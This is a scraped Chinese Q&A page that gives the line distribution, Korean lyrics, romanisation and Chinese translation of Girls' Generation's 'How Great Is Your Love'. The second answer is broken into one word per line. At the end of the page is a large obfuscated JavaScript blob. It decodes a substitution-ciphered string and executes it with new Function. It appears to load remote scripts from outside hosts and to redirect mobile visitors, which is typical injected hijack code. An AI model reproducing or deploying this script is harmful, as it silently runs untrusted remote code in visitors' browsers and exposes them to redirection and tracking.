少女时代How Great Is Your Love歌词分配

2025-02-24 01:28:27
推荐回答(2个)
回答1:

泰妍:
봄날 같은 미소에 온 세상이 환해져요
春日般的微笑来临 世界都变得明亮
bomnal gat-eun miso-e on sesang-i hwanhaejyeoyo
날 다시 또 꿈꾸게 해요
日子又像梦一般
徐贤:
nal dasi tto kkumkkuge haeyo
햇살이 반짝이는 날 그대 손에 깍지 끼고
阳光灿烂的那天 与他两手交握
haes-sal-i banjjag-ineun nal geudae son-e kkagji kkigo
발걸음을 맞춰 걸어요
步调一致
秀英/允儿:
balgeol-eum-eul majchwo geol-eoyo
가끔 내가 앞서 걷다가 문득 뒤를 돌아보면
偶尔从我面前走过 /蓦然回头望去
孝渊/tiffany:
gakkeum naega apseo geoddaga mundeug dwileul dol-abomyeon
나를 보는 그 얼굴에 나 눈이 부시죠
看著我的那面庞、 在我眼前闪耀
naleul boneun geu eolgul-e na nun-i busijyo
副歌部分:SUNNY/合
*봄이 오는 소리 들리면 꽃이 핀 길 따라 걸어요
听著春天来临的声音/ 沿著花开满地的道路
YURI/合:
bom-i oneun soli deullimyeon kkoch-i pin gil ttala geol-eoyo
비 내리는 여름이 오면 무지개만 보며 걸어요
细雨纷飞的夏天来到/ 追随著彩虹
JESSICA
bi naelineun yeoleum-i omyeon mujigaeman bomyeo geol-eoyo
가을 지나 겨울이 와도 손에 전해지는 온기로
秋去冬又来 手掌传入的暖意
ga-eul jina gyeoul-i wado son-e jeonhaejineun ongilo
따스함으로 함께 걸어가요
借著那温暖一起前行
ttaseuham-eulo hamkke geol-eogayo
How great is your love
你的爱如此美好
sunny:
하늘을 닮은 사랑이 나에게도 주어지길
将那让天空澄澈的爱情 也给予我
haneul-eul dalm-eun salang-i na-egedo jueojigil
난 언제나 기다려왔죠
我一直那样期待著
jessica:
nan eonjena gidalyeowassjyo
별빛이 반짝이는 날 노래하는 저 새들의
星光闪耀的那天 在我身边婉转轻唱的鸟儿们
byeolbich-i banjjag-ineun nal nolaehaneun jeo saedeul-ui
멜로디에 맞춰 걸어요
和著那旋律走著
秀英 /孝渊
mellodie majchwo geol-eoyo
돌고 도는 네 계절의 반복되는 비밀처럼
即将来临的属于我的季节/ 像是重复著的秘密
YURI/秀英
dolgo doneun ne gyejeol-ui banbogdoeneun bimilcheoleom
변함없는 그 사랑에 나 눈이 부시죠
依然不变的那爱情/ 在我的眼前闪耀
徐贤/合
byeonham-eobsneun geu salang-e na nun-i busijyo
*봄이 오는 소리 들리면 꽃이 핀 길 따라 걸어요
听著春天来临的声音 /沿著花开满地的道路
TIFFANY/合
bom-i oneun soli deullimyeon kkoch-i pin gil ttala geol-eoyo
비 내리는 여름이 오면 무지개만 보며 걸어요
细雨纷飞的夏天来到/ 追随著彩虹
泰妍:
bi naelineun yeoleum-i omyeon mujigaeman bomyeo geol-eoyo
가을 지나 겨울이 와도 손에 전해지는 온기로
秋去冬又来 手掌传入的暖意
ga-eul jina gyeoul-i wado son-e jeonhaejineun ongilo
따스함으로 함께 걸어가요
借著那温暖一起前行
ttaseuham-eulo hamkke geol-eogayo
How great is your love
你的爱如此美好
jessica:(有部分是合的)
세상에 지쳐있던 내게 밝은 빛이 되어준 그대
长久以来疲惫的我 让我生活的这世界绽放光芒的他
sesang-e jichyeoissdeon naege balg-eun bich-i doeeojun geudae
함께 걷는 좁은 길 끝에 다시 또 겨울이 온대도
在那一起前行的小径尽头 冬天再次来临
hamkke geodneun job-eun gil kkeut-e dasi tto gyeoul-i ondaedo
泰妍:
그대 내 손 잡아준다면
那时再次牵起我的手
geudae nae son jab-ajundamyeon
tiffany:
나에게 이 거친 세상도 봄날 같은걸
对我来说 这并不美好的世界 也像变了春天
na-ege i geochin sesangdo bomnal gat-eungeol
泰妍:
How great is your love
你的爱如此美好
TIFFANY:
How great is your love

回答2:

泰妍:
봄날
같은
미소에

세상이
환해져요
春日般的微笑来临
世界都变得明亮

다시

꿈꾸게
해요
日子又像梦一般
徐贤:
햇살이
반짝이는

그대
손에
깍지
끼고
阳光灿烂的那天
与他两手交握
발걸음을
맞춰
걸어요
步调一致
秀英/允儿:
가끔
내가
앞서
걷다가
문득
뒤를
돌아보면
偶尔从我面前走过
/蓦然回头望去
孝渊/tiffany:
나를
보는

얼굴에

눈이
부시죠
看著我的那面庞、
在我眼前闪耀
副歌部分:SUNNY/合
*봄이
오는
소리
들리면
꽃이


따라
걸어요
听著春天来临的声音/
沿著花开满地的道路
YURI/合:

내리는
여름이
오면
무지개만
보며
걸어요
细雨纷飞的夏天来到/
追随著彩虹
JESSICA:
가을
지나
겨울이
와도
손에
전해지는
온기로
秋去冬又来
手掌传入的暖意
따스함으로
함께
걸어가요
借著那温暖一起前行
How
great
is
your
love
你的爱如此美好
sunny:
하늘을
닮은
사랑이
나에게도
주어지길
将那让天空澄澈的爱情
也给予我

언제나
기다려왔죠
我一直那样期待著
jessica:
별빛이
반짝이는

노래하는

새들의
星光闪耀的那天
在我身边婉转轻唱的鸟儿们
멜로디에
맞춰
걸어요
和著那旋律走著
秀英
/孝渊
돌고
도는

계절의
반복되는
비밀처럼
即将来临的属于我的季节/
像是重复著的秘密
YURI/秀英
변함없는

사랑에

눈이
부시죠
依然不变的那爱情/
在我的眼前闪耀
徐贤/合
봄이
오는
소리
들리면
꽃이


따라
걸어요
听著春天来临的声音
/沿著花开满地的道路
TIFFANY/合

내리는
여름이
오면
무지개만
보며
걸어요
细雨纷飞的夏天来到/
追随著彩虹
泰妍:
가을
지나
겨울이
와도
손에
전해지는
온기로
秋去冬又来
手掌传入的暖意
따스함으로
함께
걸어가요
借著那温暖一起前行
How
great
is
your
love
你的爱如此美好
jessica:(合)
세상에
지쳐있던
내게
밝은
빛이
되어준
그대
长久以来疲惫的我
让我生活的这世界绽放光芒的他
함께
걷는
좁은

끝에
다시

겨울이
온대도
在那一起前行的小径尽头
冬天再次来临
泰妍:
그대


잡아준다면
那时再次牵起我的手
tiffany:
나에게

거친
세상도
봄날
같은걸
对我来说
这并不美好的世界
也像变了春天
泰妍:
How
great
is
your
love
你的爱如此美好
TIFFANY:
How
great
is
your
love
望采纳!~~

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();